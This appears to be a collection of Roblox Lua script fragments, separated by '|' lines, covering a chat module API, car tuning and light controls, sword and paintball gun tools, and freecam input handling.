return mSignaler.Event:connect(function()
f(unpack(mArgData, 1, mArgDataCount))
end)
end
function sig:wait()
mSignaler.Event:wait()
assert(mArgData, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.")
return unpack(mArgData, 1, mArgDataCount)
end
return sig
end
end
function SetVisibility(val)
ChatWindow:SetVisible(val)
moduleApiTable.VisibilityStateChanged:fire(val)
moduleApiTable.Visible = val
if (moduleApiTable.IsCoreGuiEnabled) then
if (val) then
InstantFadeIn()
else
InstantFadeOut()
end
end
end
do
moduleApiTable.TopbarEnabled = true
moduleApiTable.MessageCount = 0
moduleApiTable.Visible = true
moduleApiTable.IsCoreGuiEnabled = true
function moduleApiTable:ToggleVisibility()
SetVisibility(not ChatWindow:GetVisible())
end
function moduleApiTable:SetVisible(visible)
if (ChatWindow:GetVisible() ~= visible) then
SetVisibility(visible)
end
end
function moduleApiTable:FocusChatBar()
ChatBar:CaptureFocus()
end
function moduleApiTable:EnterWhisperState(player)
ChatBar:EnterWhisperState(player)
end
function moduleApiTable:GetVisibility()
return ChatWindow:GetVisible()
end
function moduleApiTable:GetMessageCount()
return self.MessageCount
end
function moduleApiTable:TopbarEnabledChanged(enabled)
self.TopbarEnabled = enabled
self.CoreGuiEnabled:fire(game:GetService("StarterGui"):GetCoreGuiEnabled(Enum.CoreGuiType.Chat))
end
function moduleApiTable:IsFocused(useWasFocused)
return ChatBar:IsFocused()
end
moduleApiTable.ChatBarFocusChanged = Util.Signal()
moduleApiTable.VisibilityStateChanged = Util.Signal()
moduleApiTable.MessagesChanged = Util.Signal()
moduleApiTable.MessagePosted = Util.Signal()
moduleApiTable.CoreGuiEnabled = Util.Signal()
moduleApiTable.ChatMakeSystemMessageEvent = Util.Signal()
moduleApiTable.ChatWindowPositionEvent = Util.Signal()
moduleApiTable.ChatWindowSizeEvent = Util.Signal()
moduleApiTable.ChatBarDisabledEvent = Util.Signal()
function moduleApiTable:fChatWindowPosition()
return ChatWindow.GuiObject.Position
end
function moduleApiTable:fChatWindowSize()
return ChatWindow.GuiObject.Size
end
function moduleApiTable:fChatBarDisabled()
return not ChatBar:GetEnabled()
end
if FFlagUserHandleChatHotKeyWithContextActionService then
local TOGGLE_CHAT_ACTION_NAME = "ToggleChat"
-- Callback when chat hotkey is pressed
local function handleAction(actionName, inputState, inputObject)
if actionName == TOGGLE_CHAT_ACTION_NAME and inputState == Enum.UserInputState.Begin and canChat and inputObject.UserInputType == Enum.UserInputType.Keyboard then
DoChatBarFocus()
end
end
ContextActionService:BindAction(TOGGLE_CHAT_ACTION_NAME, handleAction, true, Enum.KeyCode.Slash)
else
function moduleApiTable:SpecialKeyPressed(key, modifiers)
if (key == Enum.SpecialKey.ChatHotkey) then
if canChat then
DoChatBarFocus()
end
end
end
end
end
moduleApiTable.CoreGuiEnabled:connect(function(enabled)
moduleApiTable.IsCoreGuiEnabled = enabled
enabled = enabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff)
ChatWindow:SetCoreGuiEnabled(enabled)
if (not enabled) then
ChatBar:ReleaseFocus()
InstantFadeOut()
else
InstantFadeIn()
end
end)
function trimTrailingSpaces(str)
local lastSpace = #str
while lastSpace > 0 do
--- The pattern ^%s matches whitespace at the start of the string. (Starting from lastSpace)
if str:find("^%s", lastSpace) then
lastSpace = lastSpace - 1
else
break
end
end
return str:sub(1, lastSpace)
end
moduleApiTable.ChatMakeSystemMessageEvent:connect(function(valueTable)
if (valueTable["Text"] and type(valueTable["Text"]) == "string") then
while (not DidFirstChannelsLoads) do wait() end
local channel = ChatSettings.GeneralChannelName
local channelObj = ChatWindow:GetChannel(channel)
if (channelObj) then
local messageObject = {
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = channel,
IsFiltered = true,
MessageLength = string.len(valueTable.Text),
MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(valueTable.Text)),
Message = trimTrailingSpaces(valueTable.Text),
MessageType = ChatConstants.MessageTypeSetCore,
Time = os.time(),
ExtraData = valueTable,
}
channelObj:AddMessageToChannel(messageObject)
ChannelsBar:UpdateMessagePostedInChannel(channel)
moduleApiTable.MessageCount = moduleApiTable.MessageCount + 1
moduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)
end
end
end)
moduleApiTable.ChatBarDisabledEvent:connect(function(disabled)
if canChat then
ChatBar:SetEnabled(not disabled)
if (disabled) then
ChatBar:ReleaseFocus()
end
end
end)
moduleApiTable.ChatWindowSizeEvent:connect(function(size)
ChatWindow.GuiObject.Size = size
end)
moduleApiTable.ChatWindowPositionEvent:connect(function(position)
ChatWindow.GuiObject.Position = position
end)
|
-- / Variables / -- |
local Client = script.Client;
local Seat = script.Parent.Seat;
local CarModel = script.Parent.CarModel;
local BodyPostion = CarModel.BodyPosition;
local BodyGyro = CarModel.BodyGyro;
local currentOccupant = nil;
local currentClient = nil;
|
--script.Parent.CallButton2.ClickDetector.MouseClick:connect(onClick) |
script.Parent.CallButton.ClickDetector.MouseClick:connect(onClick)
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 240 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-----------------
--| Variables |--
----------------- |
local DebrisService = Game:GetService('Debris')
local Rocket = script.Parent
local CreatorTag = WaitForChild(Rocket, 'creator')
local Connection = nil
|
-- Testing AC FE support |
local event = script.Parent
local car=script.Parent.Parent
local LichtNum = 0
event.OnServerEvent:connect(function(player,data)
if data['ToggleLight'] then
if car.Body.Light.on.Value==true then
car.Body.Light.on.Value=false
else
car.Body.Light.on.Value=true
end
elseif data['EnableBrakes'] then
car.Body.Brakes.on.Value=true
elseif data['DisableBrakes'] then
car.Body.Brakes.on.Value=false
elseif data['ToggleLeftBlink'] then
if car.Body.Left.on.Value==true then
car.Body.Left.on.Value=false
else
car.Body.Left.on.Value=true
end
elseif data['ToggleRightBlink'] then
if car.Body.Right.on.Value==true then
car.Body.Right.on.Value=false
else
car.Body.Right.on.Value=true
end
elseif data['ReverseOn'] then
car.Body.Reverse.on.Value=true
elseif data['ReverseOff'] then
car.Body.Reverse.on.Value=false
elseif data['ToggleStandlicht'] then
if LichtNum == 0 then
LichtNum = 2
car.Body.Headlight.on.Value = true
elseif LichtNum == 1 then
LichtNum = 2
car.Body.Headlight.on.Value = true
elseif LichtNum == 2 then
LichtNum = 3
car.Body.Highlight.on.Value = true
elseif LichtNum == 3 then
LichtNum = 1
car.Body.Highlight.on.Value = false
car.Body.Headlight.on.Value = false
end
elseif data["ToggleHeadlight"] then
if car.Body.Headlight.on.Value == false then
car.Body.Headlight.on.Value = true
else
car.Body.Headlight.on.Value = false
end
elseif data["ToggleHighbeam"] then
if car.Body.Highlight.on.Value == false then
car.Body.Highlight.on.Value = true
elseif car.Body.Highlight.on.Value == true then
car.Body.Highlight.on.Value = false
end
elseif data["ToggleHazards"] then
if car.Body.Hazards.on.Value == false then
car.Body.Hazards.on.Value = true
elseif car.Body.Hazards.on.Value == true then
car.Body.Hazards.on.Value = false
end
end
end)
|
--task.spawn(function() |
while task.wait() and car:FindFirstChild("DriveSeat") and character.Humanoid.SeatPart == car.DriveSeat do
--game:GetService("RunService").RenderStepped:wait()
if IsGrounded() then
if movement.Y ~= 0 then
local velocity = humanoidRootPart.CFrame.lookVector * movement.Y * stats.Speed.Value
humanoidRootPart.Velocity = humanoidRootPart.Velocity:Lerp(velocity, 0.1)
bodyVelocity.maxForce = Vector3.new(0, 0, 0)
else
bodyVelocity.maxForce = Vector3.new(mass / 2, mass / 4, mass / 2)
end
local rotVelocity = humanoidRootPart.CFrame:vectorToWorldSpace(Vector3.new(movement.Y * stats.Speed.Value / 50, 0, -humanoidRootPart.RotVelocity.Y * 5 * movement.Y))
local speed = -humanoidRootPart.CFrame:vectorToObjectSpace(humanoidRootPart.Velocity).unit.Z
rotation = rotation + math.rad((-stats.Speed.Value / 5) * movement.Y)
if math.abs(speed) > 0.1 then
rotVelocity = rotVelocity + humanoidRootPart.CFrame:vectorToWorldSpace((Vector3.new(0, -movement.X * speed * stats.TurnSpeed.Value, 0)))
bodyAngularVelocity.maxTorque = Vector3.new(0, 0, 0)
else
bodyAngularVelocity.maxTorque = Vector3.new(mass / 4, mass / 2, mass / 4)
end
humanoidRootPart.RotVelocity = humanoidRootPart.RotVelocity:Lerp(rotVelocity, 0.1)
--bodyVelocity.maxForce = Vector3.new(mass / 3, mass / 6, mass / 3)
--bodyAngularVelocity.maxTorque = Vector3.new(mass / 6, mass / 3, mass / 6)
else
bodyVelocity.maxForce = Vector3.new(0, 0, 0)
bodyAngularVelocity.maxTorque = Vector3.new(0, 0, 0)
end
for i, part in pairs(car:GetChildren()) do
if part.Name == "Thruster" then
UpdateThruster(part)
end
end
end
for i, v in pairs(car:GetChildren()) do
if v:FindFirstChild("BodyThrust") then
v.BodyThrust:Destroy()
end
end
bodyVelocity:Destroy()
bodyAngularVelocity:Destroy()
--camera.CameraType = oldCameraType
script:Destroy() |
--Got this one on the first try. What a simple edit. x3 ~Bloxmaster998144 |
r = game:service("RunService")
local damage = 5
local slash_damage = 10
local lunge_damage = 30
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
local DB = true
function blow(hit)
if (hit.Parent == nil or hit.Parent == game.Workspace.CurrentCamera) then return end
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid")
if humanoid and humanoid ~= hum and hum then
if DB == true then
DB = false
humanoid:TakeDamage(10)
wait()
DB = true
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
wait(.25)
swordOut()
wait(.75)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
--[[Output Scaling Factor]] |
local hpScaling = _Tune.WeightScaling*10
local FBrakeForce = _Tune.FBrakeForce
local RBrakeForce = _Tune.RBrakeForce
local PBrakeForce = _Tune.PBrakeForce
local OriginalBrakeForceR = _Tune.RBrakeForce
local OriginalBrakeForceF = _Tune.FBrakeForce
local DoubleBrake = false
if not workspace:PGSIsEnabled() then
hpScaling = _Tune.LegacyScaling*10
FBrakeForce = _Tune.FLgcyBForce
RBrakeForce = _Tune.RLgcyBForce
PBrakeForce = _Tune.LgcyPBForce
end
|
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote |
local emoteNames = {spin = true, wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, dance4 = true, dance5 = true, dance6 = true, dance7 = true, dance8 = true, dance9 = true, laugh = false, cheer = false}
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
-- check for config values
local config = script:FindFirstChild(name)
if (config ~= nil) then |
-- missile.Velocity = v * iv MOVED DOWN |
missile.BrickColor=cc
missile.Shape = 0
missile.BottomSurface = 0
missile.TopSurface = 0
missile.Name = "Paintball"
missile.Elasticity = 0
missile.Reflectance = 0
missile.Friction = .9
missile.CanCollide=false
local force = Instance.new("BodyForce")
force.force = Vector3.new(0,90,0)
force.Parent = missile
Tool.BrickCleanup:clone().Parent = missile
local new_script = pbs:clone()
new_script.Disabled = false
new_script.Parent = missile
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = vPlayer
creator_tag.Name = "creator"
creator_tag.Parent = missile
if mode==3 then
local m1=missile:clone()
m1.Position=spawnPos + v*2.5 + Vector3.new(0,-0.5,0) + vCharacter.PrimaryPart.CFrame.lookVector*2
m1.Velocity = Vector3.new(v.x*math.random(85, 115)/100, v.y*math.random(85, 115)/100, v.z*math.random(85, 115)/100)*iv --, (5*v+Vector3.new(math.random(-1,-1),math.random(-1,-1),math.random(-1,-1)))/5 * iv
--print("x=" .. m1.Velocity.x .. ", y=" .. m1.Velocity.y .. ", z=" .. m1.Velocity.x .. ".")
m1.Parent=workspace
local m2=missile:clone()
m2.Position=spawnPos + v*2 + Vector3.new(0,.5,0) + vCharacter.PrimaryPart.CFrame.lookVector*3
m2.Velocity = Vector3.new(v.x*math.random(85, 115)/100, v.y*math.random(85, 115)/100, v.z*math.random(85, 115)/100)*iv
m2.Parent=workspace
local m3=missile:clone()
m3.Position=spawnPos + v*3.5 + vCharacter.PrimaryPart.CFrame.lookVector*1
m3.Velocity = Vector3.new(v.x*math.random(85, 115)/100, v.y*math.random(85, 115)/100, v.z*math.random(85, 115)/100)*iv
m3.Parent=workspace
else
missile.Position = spawnPos + v*2.5 + vCharacter.PrimaryPart.CFrame.lookVector*2
missile.Velocity = v * iv
missile.Parent = workspace
end
end
function dropwep()
connection:disconnect()
wait(1)
Tool.Parent=game.Workspace
wait(14)
--not been picked up then remove it.
if Tool.Parent==game.Workspace then Tool.Parent=nil end
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
connection=script.Parent.Parent.Humanoid.Died:connect(dropwep)
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = humanoid.TargetPoint
if gren and nadeloaded then
gren=false
Tool.Enabled = true
firenade(targetPos)
else
local lookAt = (targetPos - character.Head.Position).unit
fire(lookAt)
wait(reloadtime)
Tool.Enabled = true
end
end
script.Parent.Activated:connect(onActivated)
|
--For Omega Rainbow Katana thumbnail to display a lot of particles. |
for i, v in pairs(Handle:GetChildren()) do
if v:IsA("ParticleEmitter") then
v.Rate = 20
end
end
Tool.Grip = Grips.Up
Tool.Enabled = true
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Blow(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then
return
end
local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
if character == Character then
return
end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
game.ServerStorage.DownEvent:Fire(humanoid, Damage) -- MAIN DAMAGE SCRIPT [USE THIS LINE OF CODE]
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Slash"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Slash")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
end
function Lunge()
Damage = DamageValues.LungeDamage
Sounds.Lunge:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Lunge"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Lunge")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
--[[
if CheckIfAlive() then
local Force = Instance.new("BodyVelocity")
Force.velocity = Vector3.new(0, 10, 0)
Force.maxForce = Vector3.new(0, 4000, 0)
Debris:AddItem(Force, 0.4)
Force.Parent = Torso
end
]]
wait(0.2)
Tool.Grip = Grips.Out
wait(0.6)
Tool.Grip = Grips.Up
Damage = DamageValues.SlashDamage
end
Tool.Enabled = true
LastAttack = 0
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
local Tick = RunService.Stepped:wait()
if (Tick - LastAttack < 0.2) then
Lunge()
else
Attack()
end
LastAttack = Tick
--wait(0.5)
Damage = DamageValues.BaseDamage
local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){
Name = "R15Slash",
AnimationId = BaseUrl .. Animations.R15Slash,
Parent = Tool
})
local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){
Name = "R15Lunge",
AnimationId = BaseUrl .. Animations.R15Lunge,
Parent = Tool
})
Tool.Enabled = true
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChildOfClass("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart")
if not CheckIfAlive() then
return
end
ToolEquipped = true
Sounds.Unsheath:Play()
end
function Unequipped()
Tool.Grip = Grips.Up
ToolEquipped = false
end
Tool.Activated:Connect(Activated)
Tool.Equipped:Connect(Equipped)
Tool.Unequipped:Connect(Unequipped)
Connection = Handle.Touched:Connect(Blow)
|
------------------------------------------------------------------------ |
local Input = {} do
local thumbstickCurve do
local K_CURVATURE = 2.0
local K_DEADZONE = 0.15
local function fCurve(x)
return (exp(K_CURVATURE*x) - 1)/(exp(K_CURVATURE) - 1)
end
local function fDeadzone(x)
return fCurve((x - K_DEADZONE)/(1 - K_DEADZONE))
end
function thumbstickCurve(x)
return sign(x)*clamp(fDeadzone(abs(x)), 0, 1)
end
end
local gamepad = {
ButtonX = 0,
ButtonY = 0,
DPadDown = 0,
DPadUp = 0,
ButtonL2 = 0,
ButtonR2 = 0,
Thumbstick1 = Vector2.new(),
Thumbstick2 = Vector2.new(),
}
local keyboard = {
W = 0,
A = 0,
S = 0,
D = 0,
E = 0,
Q = 0,
U = 0,
H = 0,
J = 0,
K = 0,
I = 0,
Y = 0,
Up = 0,
Down = 0,
LeftShift = 0,
RightShift = 0,
}
local mouse = {
Delta = Vector2.new(),
MouseWheel = 0,
}
local NAV_GAMEPAD_SPEED = Vector3.new(1, 1, 1)
local NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1)
local PAN_MOUSE_SPEED = Vector2.new(1, 1)*(pi/64)
local PAN_GAMEPAD_SPEED = Vector2.new(1, 1)*(pi/8)
local FOV_WHEEL_SPEED = 1.0
local FOV_GAMEPAD_SPEED = 0.25
local NAV_ADJ_SPEED = 0.75
local NAV_SHIFT_MUL = 0.25
local navSpeed = 1
function Input.Vel(dt)
navSpeed = clamp(navSpeed + dt*(keyboard.Up - keyboard.Down)*NAV_ADJ_SPEED, 0.01, 4)
local kGamepad = Vector3.new(
thumbstickCurve(gamepad.Thumbstick1.X),
thumbstickCurve(gamepad.ButtonR2) - thumbstickCurve(gamepad.ButtonL2),
thumbstickCurve(-gamepad.Thumbstick1.Y)
)*NAV_GAMEPAD_SPEED
local kKeyboard = Vector3.new(
keyboard.D - keyboard.A + keyboard.K - keyboard.H,
keyboard.E - keyboard.Q + keyboard.I - keyboard.Y,
keyboard.S - keyboard.W + keyboard.J - keyboard.U
)*NAV_KEYBOARD_SPEED
local shift = UserInputService:IsKeyDown(Enum.KeyCode.LeftShift) or UserInputService:IsKeyDown(Enum.KeyCode.RightShift)
return (kGamepad + kKeyboard)*(navSpeed*(shift and NAV_SHIFT_MUL or 1))
end
function Input.Pan(dt)
local kGamepad = Vector2.new(
thumbstickCurve(gamepad.Thumbstick2.Y),
thumbstickCurve(-gamepad.Thumbstick2.X)
)*PAN_GAMEPAD_SPEED
local kMouse = mouse.Delta*PAN_MOUSE_SPEED
mouse.Delta = Vector2.new()
return kGamepad + kMouse
end
function Input.Fov(dt)
local kGamepad = (gamepad.ButtonX - gamepad.ButtonY)*FOV_GAMEPAD_SPEED
local kMouse = mouse.MouseWheel*FOV_WHEEL_SPEED
mouse.MouseWheel = 0
return kGamepad + kMouse
end
do
local function Keypress(action, state, input)
keyboard[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0
return Enum.ContextActionResult.Sink
end
local function GpButton(action, state, input)
gamepad[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0
return Enum.ContextActionResult.Sink
end
local function MousePan(action, state, input)
local delta = input.Delta
mouse.Delta = Vector2.new(-delta.y, -delta.x)
return Enum.ContextActionResult.Sink
end
local function Thumb(action, state, input)
gamepad[input.KeyCode.Name] = input.Position
return Enum.ContextActionResult.Sink
end
local function Trigger(action, state, input)
gamepad[input.KeyCode.Name] = input.Position.z
return Enum.ContextActionResult.Sink
end
local function MouseWheel(action, state, input)
mouse[input.UserInputType.Name] = -input.Position.z
return Enum.ContextActionResult.Sink
end
local function Zero(t)
for k, v in pairs(t) do
t[k] = v*0
end
end
function Input.StartCapture()
ContextActionService:BindActionAtPriority("FreecamKeyboard", Keypress, false, INPUT_PRIORITY,
Enum.KeyCode.W, Enum.KeyCode.U,
Enum.KeyCode.A, Enum.KeyCode.H,
Enum.KeyCode.S, Enum.KeyCode.J,
Enum.KeyCode.D, Enum.KeyCode.K,
Enum.KeyCode.E, Enum.KeyCode.I,
Enum.KeyCode.Q, Enum.KeyCode.Y,
Enum.KeyCode.Up, Enum.KeyCode.Down
)
ContextActionService:BindActionAtPriority("FreecamMousePan", MousePan, false, INPUT_PRIORITY, Enum.UserInputType.MouseMovement)
ContextActionService:BindActionAtPriority("FreecamMouseWheel", MouseWheel, false, INPUT_PRIORITY, Enum.UserInputType.MouseWheel)
ContextActionService:BindActionAtPriority("FreecamGamepadButton", GpButton, false, INPUT_PRIORITY, Enum.KeyCode.ButtonX, Enum.KeyCode.ButtonY)
ContextActionService:BindActionAtPriority("FreecamGamepadTrigger", Trigger, false, INPUT_PRIORITY, Enum.KeyCode.ButtonR2, Enum.KeyCode.ButtonL2)
ContextActionService:BindActionAtPriority("FreecamGamepadThumbstick", Thumb, false, INPUT_PRIORITY, Enum.KeyCode.Thumbstick1, Enum.KeyCode.Thumbstick2)
end
function Input.StopCapture()
navSpeed = 1
Zero(gamepad)
Zero(keyboard)
Zero(mouse)
ContextActionService:UnbindAction("FreecamKeyboard")
ContextActionService:UnbindAction("FreecamMousePan")
ContextActionService:UnbindAction("FreecamMouseWheel")
ContextActionService:UnbindAction("FreecamGamepadButton")
ContextActionService:UnbindAction("FreecamGamepadTrigger")
ContextActionService:UnbindAction("FreecamGamepadThumbstick")
end
end
end
local function GetFocusDistance(cameraFrame)
local znear = 0.1
local viewport = Camera.ViewportSize
local projy = 2*tan(cameraFov/2)
local projx = viewport.x/viewport.y*projy
local fx = cameraFrame.rightVector
local fy = cameraFrame.upVector
local fz = cameraFrame.lookVector
local minVect = Vector3.new()
local minDist = 512
for x = 0, 1, 0.5 do
for y = 0, 1, 0.5 do
local cx = (x - 0.5)*projx
local cy = (y - 0.5)*projy
local offset = fx*cx - fy*cy + fz
local origin = cameraFrame.p + offset*znear
local _, hit = Workspace:FindPartOnRay(Ray.new(origin, offset.unit*minDist))
local dist = (hit - origin).Magnitude
if minDist > dist then
minDist = dist
minVect = offset.unit
end
end
end
return fz:Dot(minVect)*minDist
end
|